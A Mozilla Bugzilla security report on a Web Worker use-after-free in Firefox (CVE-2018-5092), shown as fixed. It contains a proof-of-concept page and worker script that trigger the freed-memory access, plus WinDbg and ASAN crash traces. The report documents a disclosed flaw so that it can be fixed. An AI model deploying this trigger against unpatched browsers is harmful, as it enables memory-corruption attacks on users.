Bug 1418074 (CVE-2018-5092)

Web Workers - Use After Free in nsWrapperCache::GetWrapperPreserveColor()

VERIFIED FIXED in Firefox 58

Status

()

P1
critical
VERIFIED FIXED
a year ago
9 days ago

People

(Reporter: loobenyang, Assigned: baku)

Tracking

({csectype-uaf, sec-high})

58 Branch
mozilla59
csectype-uaf, sec-high
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox-esr52 unaffected, firefox57 wontfix, firefox58+ verified, firefox59+ verified)

Details

(Whiteboard: [adv-main58+][post-critsmash-triage])

Attachments

(4 attachments)

(Reporter)

Description

a year ago
Reproduction test case (full server code in attached file UAF_GetWrapperPreserveColor_Repro.js):

	Main Page code:
		<script type="text/javascript">
		var worker = new Worker("worker0.js");
		var bc0 = new BroadcastChannel("test_channel");
		setTimeout(function(){
		try{ bc0.postMessage("n82z8laAh2f004");}catch(e){}
		}, 10);
		 setTimeout(function(){location.reload();},300); 
		</script>

	Worker code:
		onerror  = function (e) {fetch("./fetchedfile0.html", {signal:abortSig0}).then(function(res) {res.text().then(function(txt) {}).catch(function(error) {});}).catch(function(error) {});
		 };
		var abortCtl0 = new AbortController();
		var abortSig0 = abortCtl0.signal;
		var bc0 = new BroadcastChannel("test_channel");
		setInterval(function(){
		try{ bc0.postMessage("");}catch(e){}
		 xmlReq0.setRequestHeader("X-Custom-Header", "");
		try{ close();} catch(e){}
		}, 32);
		var xmlReq0 = new XMLHttpRequest();
		
Steps to reproduce: 
	1. Run server side script UAF_GetWrapperPreserveColor_Repro.js with Node.js (node UAF_GetWrapperPreserveColor_Repro.js).
	2. Enter http://localhost:12345 in Firefox browser.
	3. Firefox crashes in nsWrapperCache::GetWrapperPreserveColor()  by accessing freed memory:
	
		(3120.42b0): Access violation - code c0000005 (!!! second chance !!!)
		eax=4f4f4f4f ebx=12dba798 ecx=00598154 edx=2422d060 esi=00598154 edi=0056a2a4
		eip=1029c3d0 esp=008bea34 ebp=008bea3c iopl=0         nv up ei pl nz na po nc
		cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
		xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x2 [inlined in xul!nsWrapperCache::GetWrapperPreserveColor+0x2c]:
		1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]      ds:002b:4f4f4f5b=??
	
	

Firefox version: 59.0a1 (2017-11-16) (32-bit)
OS: Windows 10

Stack trace:


	(3120.42b0): Access violation - code c0000005 (!!! second chance !!!)
	eax=4f4f4f4f ebx=12dba798 ecx=00598154 edx=2422d060 esi=00598154 edi=0056a2a4
	eip=1029c3d0 esp=008bea34 ebp=008bea3c iopl=0         nv up ei pl nz na po nc
	cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
	xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x2 [inlined in xul!nsWrapperCache::GetWrapperPreserveColor+0x2c]:
	1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]      ds:002b:4f4f4f5b=??
	2:024> !analyze -v
	*******************************************************************************
	*                                                                             *
	*                        Exception Analysis                                   *
	*                                                                             *
	*******************************************************************************


	FAULTING_IP: 
	xul!nsWrapperCache::GetWrapperPreserveColor+2c [z:\build\build\src\dom\base\nswrappercacheinlines.h @ 18]
	1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]

	EXCEPTION_RECORD:  (.exr -1)
	ExceptionAddress: 1029c3d0 (xul!JS::shadow::Zone::isGCSweepingOrCompacting+0x00000002)
	   ExceptionCode: c0000005 (Access violation)
	  ExceptionFlags: 00000000
	NumberParameters: 2
	   Parameter[0]: 00000000
	   Parameter[1]: 4f4f4f5b
	Attempt to read from address 4f4f4f5b

	FAULTING_THREAD:  00001020

	DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

	PROCESS_NAME:  firefox.exe

	ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

	EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

	EXCEPTION_PARAMETER1:  00000000

	EXCEPTION_PARAMETER2:  4f4f4f5b

	READ_ADDRESS:  4f4f4f5b 

	FOLLOWUP_IP: 
	xul!nsWrapperCache::GetWrapperPreserveColor+2c [z:\build\build\src\dom\base\nswrappercacheinlines.h @ 18]
	1029c3d0 8a400c          mov     al,byte ptr [eax+0Ch]

	BUGCHECK_STR:  INVALID_POINTER_READ

	NTGLOBALFLAG:  400

	APPLICATION_VERIFIER_FLAGS:  0

	APP:  firefox.exe

	ANALYSIS_VERSION: 10.0.10240.9 x86fre

	LAST_CONTROL_TRANSFER:  from 104a6319 to 1029c3d0

	STACK_TEXT:  
	008bea3c 104a6319 11574d73 0056a2a4 008beaf8 xul!nsWrapperCache::GetWrapperPreserveColor+0x2c
	008bea40 11574d73 0056a2a4 008beaf8 12dba798 xul!nsWrapperCache::HasKnownLiveWrapper+0x5
	008bea54 10b27c3e 12dba798 00598150 00000000 xul!mozilla::DOMEventTargetHelper::cycleCollection::CanSkipReal+0x11
	008bea78 10b247a5 005f4224 12dba798 12a722a0 xul!RemoveSkippableVisitor::Visit+0x9b
	008beae4 10b27409 008beaf8 008bebb0 005f4190 xul!nsPurpleBuffer::VisitEntries<RemoveSkippableVisitor>+0xdc
	008beb1c 10b262a6 005f4190 008bebb0 00000000 xul!nsPurpleBuffer::RemoveSkippable+0x44
	008beb54 10b27f1d 008bebb0 00000000 008bec01 xul!nsCycleCollector::ForgetSkippable+0x6b
	008beb7c 111110e6 008bec01 008bec48 008bec94 xul!nsCycleCollector_forgetSkippable+0x46
	008bec28 1110f09e 00000000 00000000 00000000 xul!FireForgetSkippable+0xab
	008bec74 104d805f 00000000 00000000 00000000 xul!CCRunnerFired+0x1d6
	008bec9c 104d6bba 008becc0 1f037fe8 05cdf3a0 xul!std::_Func_impl_no_alloc<bool (__cdecl*)(mozilla::TimeStamp),bool,mozilla::TimeStamp>::_Do_call+0x17
	008becf0 104d6b4b 05cdf3a0 1f037fbc 008bede4 xul!mozilla::IdleTaskRunner::Run+0x62
	008bed00 104837a6 005bb9d0 05cdf3a0 12db9e50 xul!mozilla::TimedOut+0x17
	008bede4 1048367d 00000001 008bf3c0 05cde3c0 xul!nsTimerImpl::Fire+0x11f
	008bee1c 10b3d4da 1f863124 008bf3c0 00537c10 xul!nsTimerEvent::Run+0x37
	008bee5c 101254ba 05cde3c0 00501200 005011f0 xul!mozilla::SchedulerGroup::Runnable::Run+0x4f
	008bf3c8 10254d2a 00537c10 00000000 008bf3f3 xul!nsThread::ProcessNextEvent+0x294
	008bf3f4 10ce59ab 008bf570 008bf570 00503040 xul!mozilla::ipc::MessagePump::Run+0x75
	008bf410 104d115d 008bf570 a33ff06a 05b81f70 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x58
	008bf448 104d111d 00537c10 00000002 00503000 xul!MessageLoop::RunHandler+0x1f
	008bf468 1066508c 05b81f70 008bf570 008bf488 xul!MessageLoop::Run+0x19
	008bf478 10664e18 05b81f70 05b81f70 008bf4a0 xul!nsBaseAppShell::Run+0x34
	008bf488 12348b3b 05b81f70 008bf570 005011f0 xul!nsAppShell::Run+0x26
	008bf4a0 10ce5969 008bf570 005011f0 008bf4e8 xul!XRE_RunAppShell+0x30
	008bf4b0 104d115d 008bf570 a33ff0ca 00000013 xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x16
	008bf4e8 104d111d 00519800 00000001 125ad300 xul!MessageLoop::RunHandler+0x1f
	008bf508 123489c4 005060f0 00000016 00503040 xul!MessageLoop::Run+0x19
	008bf62c 1234b796 008bf658 008bf660 009295cf xul!XRE_InitChildProcess+0x4bd
	008bf638 009295cf 00000016 00503040 008bf658 xul!mozilla::BootstrapImpl::XRE_InitChildProcess+0x11
	008bf660 009264d8 00503040 00182970 74bd9304 firefox!content_process_main+0x74
	008bf9b8 009251f9 00000017 ffc7f930 00183478 firefox!wmain+0x5478
	008bfa00 76898744 00a0c000 76898720 c740e5a1 firefox!__scrt_common_main_seh+0xf8
	008bfa14 770b582d 00a0c000 c6c4fbfd 00000000 KERNEL32!BaseThreadInitThunk+0x24
	008bfa5c 770b57fd ffffffff 770d6374 00000000 ntdll!__RtlUserThreadStart+0x2f
	008bfa6c 00000000 0092526f 00a0c000 00000000 ntdll!_RtlUserThreadStart+0x1b


	FAULTING_SOURCE_LINE:  z:\build\build\src\dom\base\nswrappercacheinlines.h

	FAULTING_SOURCE_FILE:  z:\build\build\src\dom\base\nswrappercacheinlines.h

	FAULTING_SOURCE_LINE_NUMBER:  18

	SYMBOL_STACK_INDEX:  0

	SYMBOL_NAME:  xul!nsWrapperCache::GetWrapperPreserveColor+2c

	FOLLOWUP_NAME:  MachineOwner

	MODULE_NAME: xul

	IMAGE_NAME:  xul.dll

	DEBUG_FLR_IMAGE_TIMESTAMP:  5a0d7710

	STACK_COMMAND:  ~24s ; kb

	BUCKET_ID:  INVALID_POINTER_READ_xul!nsWrapperCache::GetWrapperPreserveColor+2c

	PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_xul!nsWrapperCache::GetWrapperPreserveColor+2c

	FAILURE_PROBLEM_CLASS:  INVALID_POINTER_READ

	FAILURE_EXCEPTION_CODE:  c0000005

	FAILURE_IMAGE_NAME:  xul.dll

	FAILURE_FUNCTION_NAME:  nsWrapperCache::GetWrapperPreserveColor

	FAILURE_SYMBOL_NAME:  xul.dll!nsWrapperCache::GetWrapperPreserveColor

	FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_xul.dll!nsWrapperCache::GetWrapperPreserveColor

	ANALYSIS_SOURCE:  UM

	FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_xul.dll!nswrappercache::getwrapperpreservecolor

	FAILURE_ID_HASH:  {2ed7a18c-a2cc-a85d-619a-216c25b2cb62}

	Followup:     MachineOwner
	---------
(Reporter)

Comment 1

a year ago
Ran the same test case in a local Firefox ASAN  build without thread safety assert:


Firefox version: 59.0a1 (2017-11-16) (64-bit)

=================================================================
==7813==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f61bc03f008 at pc 0x7f61d426def5 bp 0x7fff75271810 sp 0x7fff75271808
READ of size 8 at 0x7f61bc03f008 thread T0 (Web Content)
    #0 0x7f61d426def4 in GetGCThingZone /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/js/HeapAPI.h:344:12
    #1 0x7f61d426def4 in EdgeNeedsSweepUnbarriered /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/js/GCAPI.h:665
    #2 0x7f61d426def4 in GetWrapperPreserveColor /home/thecoder/OpenSrc/firefox/dom/base/nsWrapperCacheInlines.h:18
    #3 0x7f61d426def4 in HasKnownLiveWrapper /home/thecoder/OpenSrc/firefox/dom/base/nsWrapperCacheInlines.h:47
    #4 0x7f61d426def4 in mozilla::DOMEventTargetHelper::cycleCollection::CanSkipReal(void*, bool) /home/thecoder/OpenSrc/firefox/dom/events/DOMEventTargetHelper.cpp:56
    #5 0x7f61ce784b01 in CanSkip /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/nsCycleCollectionParticipant.h:170:25
    #6 0x7f61ce784b01 in RemoveSkippableVisitor::Visit(nsPurpleBuffer&, nsPurpleBufferEntry*) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2868
    #7 0x7f61ce7748b3 in void nsPurpleBuffer::VisitEntries<RemoveSkippableVisitor>(RemoveSkippableVisitor&) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:1115:14
    #8 0x7f61ce754cfc in nsPurpleBuffer::RemoveSkippable(nsCycleCollector*, js::SliceBudget&, bool, bool, void (*)()) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2893:3
    #9 0x7f61ce75548b in nsCycleCollector::ForgetSkippable(js::SliceBudget&, bool, bool) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2942:3
    #10 0x7f61ce75e39f in nsCycleCollector_forgetSkippable(js::SliceBudget&, bool, bool) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:4268:3
    #11 0x7f61d21700cb in FireForgetSkippable(unsigned int, bool, mozilla::TimeStamp) /home/thecoder/OpenSrc/firefox/dom/base/nsJSEnvironment.cpp:1279:3
    #12 0x7f61d2174c88 in CCRunnerFired(mozilla::TimeStamp) /home/thecoder/OpenSrc/firefox/dom/base/nsJSEnvironment.cpp:1965:7
    #13 0x7f61ce893261 in operator() /usr/lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/functional:2267:14
    #14 0x7f61ce893261 in mozilla::IdleTaskRunner::Run() /home/thecoder/OpenSrc/firefox/xpcom/threads/IdleTaskRunner.cpp:62
    #15 0x7f61ce8d260e in nsThread::ProcessNextEvent(bool, bool*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:1037:7
    #16 0x7f61ce8f5988 in NS_ProcessNextEvent(nsIThread*, bool) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThreadUtils.cpp:513:10
    #17 0x7f61cfa23851 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/thecoder/OpenSrc/firefox/ipc/glue/MessagePump.cpp:97:21
    #18 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #19 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #20 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #21 0x7f61d5ee6fdf in nsBaseAppShell::Run() /home/thecoder/OpenSrc/firefox/widget/nsBaseAppShell.cpp:159:3
    #22 0x7f61dac98977 in XRE_RunAppShell() /home/thecoder/OpenSrc/firefox/toolkit/xre/nsEmbedFunctions.cpp:877:12
    #23 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #24 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #25 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #26 0x7f61dac97e26 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/thecoder/OpenSrc/firefox/toolkit/xre/nsEmbedFunctions.cpp:703:7
    #27 0x4fd78a in content_process_main /home/thecoder/OpenSrc/firefox/browser/app/../../ipc/contentproc/plugin-container.cpp:63:19
    #28 0x4fd78a in main /home/thecoder/OpenSrc/firefox/browser/app/nsBrowserApp.cpp:280
    #29 0x7f61ed10f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #30 0x41e4c8 in _start (/home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/bin/firefox+0x41e4c8)

0x7f61bc03f008 is located 51208 bytes inside of 131072-byte region [0x7f61bc032800,0x7f61bc052800)
freed by thread T28 (DOM Worker) here:
    #0 0x4c65c0 in __interceptor_free /home/thecoder/OpenSrc/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38
    #1 0x7f61ce778166 in operator delete /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/mozilla/mozalloc.h:230:12
    #2 0x7f61ce778166 in Clear /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:406
    #3 0x7f61ce778166 in CCGraph::Clear() /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:916
    #4 0x7f61ce75a127 in nsCycleCollector::CleanupAfterCollection() /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:3643:3
    #5 0x7f61ce75aced in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:3773:9
    #6 0x7f61ce75ecd4 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:4315:3
    #7 0x7f61dbbbb3a1 in callGCCallback /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:1656:9
    #8 0x7f61dbbbb3a1 in maybeCallEndCallback /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7263
    #9 0x7f61dbbbb3a1 in ~AutoCallGCCallbacks /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7227
    #10 0x7f61dbbbb3a1 in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget&, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7344
    #11 0x7f61dbbbec8b in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7475:25
    #12 0x7f61dbbbf964 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7545:5
    #13 0x7f61d577dd47 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /home/thecoder/OpenSrc/firefox/dom/workers/RuntimeService.cpp:2969:5
    #14 0x7f61ce8d260e in nsThread::ProcessNextEvent(bool, bool*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:1037:7
    #15 0x7f61ce8f5988 in NS_ProcessNextEvent(nsIThread*, bool) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThreadUtils.cpp:513:10
    #16 0x7f61cfa24c97 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /home/thecoder/OpenSrc/firefox/ipc/glue/MessagePump.cpp:364:5
    #17 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #18 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #19 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #20 0x7f61ce8cd97b in nsThread::ThreadFunc(void*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:425:5
    #21 0x7f61ee521d26 in _pt_root /home/thecoder/OpenSrc/firefox/nsprpub/pr/src/pthreads/ptthread.c:216:5
    #22 0x7f61ee16d6b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

previously allocated by thread T28 (DOM Worker) here:
    #0 0x4c68c8 in __interceptor_malloc /home/thecoder/OpenSrc/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52
    #1 0x4fe77d in moz_xmalloc /home/thecoder/OpenSrc/firefox/memory/mozalloc/mozalloc.cpp:84:17
    #2 0x7f61ce752bec in operator new /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/mozilla/mozalloc.h:206:12
    #3 0x7f61ce752bec in Add /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:534
    #4 0x7f61ce752bec in NoteChild /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2206
    #5 0x7f61ce752bec in CCGraphBuilder::NoteNativeChild(void*, nsCycleCollectionParticipant*) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2464
    #6 0x7f61d426d3da in Run /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/nsCycleCollectionNoteChild.h:77:5
    #7 0x7f61d426d3da in CycleCollectionNoteChild<mozilla::EventListenerManager> /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/nsCycleCollectionNoteChild.h:90
    #8 0x7f61d426d3da in ImplCycleCollectionTraverse<mozilla::EventListenerManager> /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/mozilla/RefPtr.h:433
    #9 0x7f61d426d3da in mozilla::DOMEventTargetHelper::cycleCollection::TraverseNative(void*, nsCycleCollectionTraversalCallback&) /home/thecoder/OpenSrc/firefox/dom/events/DOMEventTargetHelper.cpp:46
    #10 0x7f61d5856698 in mozilla::dom::WorkerGlobalScope::cycleCollection::TraverseNative(void*, nsCycleCollectionTraversalCallback&) /home/thecoder/OpenSrc/firefox/dom/workers/WorkerScope.cpp:92:1
    #11 0x7f61ce751451 in TraverseNativeAndJS /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/nsCycleCollectionParticipant.h:133:19
    #12 0x7f61ce751451 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2337
    #13 0x7f61ce7556a7 in nsCycleCollector::MarkRoots(js::SliceBudget&) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:2957:23
    #14 0x7f61ce75ac08 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:3750:9
    #15 0x7f61ce75ecd4 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/thecoder/OpenSrc/firefox/xpcom/base/nsCycleCollector.cpp:4315:3
    #16 0x7f61dbbbb3a1 in callGCCallback /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:1656:9
    #17 0x7f61dbbbb3a1 in maybeCallEndCallback /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7263
    #18 0x7f61dbbbb3a1 in ~AutoCallGCCallbacks /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7227
    #19 0x7f61dbbbb3a1 in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget&, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7344
    #20 0x7f61dbbbec8b in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7475:25
    #21 0x7f61dbbbf964 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /home/thecoder/OpenSrc/firefox/js/src/jsgc.cpp:7545:5
    #22 0x7f61d577dd47 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /home/thecoder/OpenSrc/firefox/dom/workers/RuntimeService.cpp:2969:5
    #23 0x7f61ce8d260e in nsThread::ProcessNextEvent(bool, bool*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:1037:7
    #24 0x7f61ce8f5988 in NS_ProcessNextEvent(nsIThread*, bool) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThreadUtils.cpp:513:10
    #25 0x7f61cfa24c97 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /home/thecoder/OpenSrc/firefox/ipc/glue/MessagePump.cpp:364:5
    #26 0x7f61cf8f5975 in RunInternal /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:326:3
    #27 0x7f61cf8f5975 in RunHandler /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:319
    #28 0x7f61cf8f5975 in MessageLoop::Run() /home/thecoder/OpenSrc/firefox/ipc/chromium/src/base/message_loop.cc:299
    #29 0x7f61ce8cd97b in nsThread::ThreadFunc(void*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:425:5
    #30 0x7f61ee521d26 in _pt_root /home/thecoder/OpenSrc/firefox/nsprpub/pr/src/pthreads/ptthread.c:216:5
    #31 0x7f61ee16d6b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

Thread T28 (DOM Worker) created by T0 (Web Content) here:
    #0 0x430ae9 in __interceptor_pthread_create /home/thecoder/OpenSrc/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:243
    #1 0x7f61ee51e8e8 in _PR_CreateThread /home/thecoder/OpenSrc/firefox/nsprpub/pr/src/pthreads/ptthread.c:457:14
    #2 0x7f61ee51e4fa in PR_CreateThread /home/thecoder/OpenSrc/firefox/nsprpub/pr/src/pthreads/ptthread.c:548:12
    #3 0x7f61ce8cf32b in nsThread::Init(nsTSubstring<char> const&) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:598:8
    #4 0x7f61d5862f57 in mozilla::dom::workers::WorkerThread::Create(mozilla::dom::workers::WorkerThreadFriendKey const&) /home/thecoder/OpenSrc/firefox/dom/workers/WorkerThread.cpp:96:7
    #5 0x7f61d572bb19 in mozilla::dom::workers::RuntimeService::ScheduleWorker(mozilla::dom::workers::WorkerPrivate*) /home/thecoder/OpenSrc/firefox/dom/workers/RuntimeService.cpp:1831:14
    #6 0x7f61d5729b61 in mozilla::dom::workers::RuntimeService::RegisterWorker(mozilla::dom::workers::WorkerPrivate*) /home/thecoder/OpenSrc/firefox/dom/workers/RuntimeService.cpp:1659:19
    #7 0x7f61d5839caf in mozilla::dom::workers::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::workers::WorkerLoadInfo*, mozilla::ErrorResult&) /home/thecoder/OpenSrc/firefox/dom/workers/WorkerPrivate.cpp:4734:8
    #8 0x7f61d5839194 in Constructor /home/thecoder/OpenSrc/firefox/dom/workers/WorkerPrivate.cpp:4651:10
    #9 0x7f61d5839194 in mozilla::dom::workers::WorkerPrivate::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /home/thecoder/OpenSrc/firefox/dom/workers/WorkerPrivate.cpp:4592
    #10 0x7f61d359e9cd in mozilla::dom::WorkerBinding::_constructor(JSContext*, unsigned int, JS::Value*) /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dom/bindings/WorkerBinding.cpp:1057:68
    #11 0x7f61dafdccc9 in CallJSNative /home/thecoder/OpenSrc/firefox/js/src/jscntxtinlines.h:291:15
    #12 0x7f61dafdccc9 in CallJSNativeConstructor /home/thecoder/OpenSrc/firefox/js/src/jscntxtinlines.h:324
    #13 0x7f61dafdccc9 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:580
    #14 0x7f61dafc64e0 in ConstructFromStack /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:606:12
    #15 0x7f61dafc64e0 in Interpret(JSContext*, js::RunState&) /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:3090
    #16 0x7f61dafae555 in js::RunScript(JSContext*, js::RunState&) /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:423:12
    #17 0x7f61dafde60f in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:706:15
    #18 0x7f61dafdee69 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /home/thecoder/OpenSrc/firefox/js/src/vm/Interpreter.cpp:738:12
    #19 0x7f61dbabf64a in ExecuteScript(JSContext*, JS::AutoObjectVector&, JS::Handle<JSScript*>, JS::Value*) /home/thecoder/OpenSrc/firefox/js/src/jsapi.cpp:4721:12
    #20 0x7f61d217ffe9 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, JS::SourceBufferHolder&, JS::MutableHandle<JSScript*>) /home/thecoder/OpenSrc/firefox/dom/base/nsJSUtils.cpp:269:8
    #21 0x7f61d5d270cb in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /home/thecoder/OpenSrc/firefox/dom/script/ScriptLoader.cpp:2254:20
    #22 0x7f61d5d223b3 in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /home/thecoder/OpenSrc/firefox/dom/script/ScriptLoader.cpp:1894:10
    #23 0x7f61d5d0503a in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /home/thecoder/OpenSrc/firefox/dom/script/ScriptLoader.cpp:1595:10
    #24 0x7f61d5d011e8 in mozilla::dom::ScriptElement::MaybeProcessScript() /home/thecoder/OpenSrc/firefox/dom/script/ScriptElement.cpp:147:10
    #25 0x7f61d0eb35d5 in AttemptToExecute /home/thecoder/OpenSrc/firefox/objdir-ff-asan/dist/include/nsIScriptElement.h:226:18
    #26 0x7f61d0eb35d5 in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /home/thecoder/OpenSrc/firefox/parser/html/nsHtml5TreeOpExecutor.cpp:740
    #27 0x7f61d0ead345 in nsHtml5TreeOpExecutor::RunFlushLoop() /home/thecoder/OpenSrc/firefox/parser/html/nsHtml5TreeOpExecutor.cpp:539:7
    #28 0x7f61d0eea0bb in nsHtml5ExecutorFlusher::Run() /home/thecoder/OpenSrc/firefox/parser/html/nsHtml5StreamParser.cpp:130:9
    #29 0x7f61ce8aaee1 in mozilla::SchedulerGroup::Runnable::Run() /home/thecoder/OpenSrc/firefox/xpcom/threads/SchedulerGroup.cpp:396:14
    #30 0x7f61ce8d260e in nsThread::ProcessNextEvent(bool, bool*) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThread.cpp:1037:7
    #31 0x7f61ce8f5988 in NS_ProcessNextEvent(nsIThread*, bool) /home/thecoder/OpenSrc/firefox/xpcom/threads/nsThreadUtils.cpp:513:10
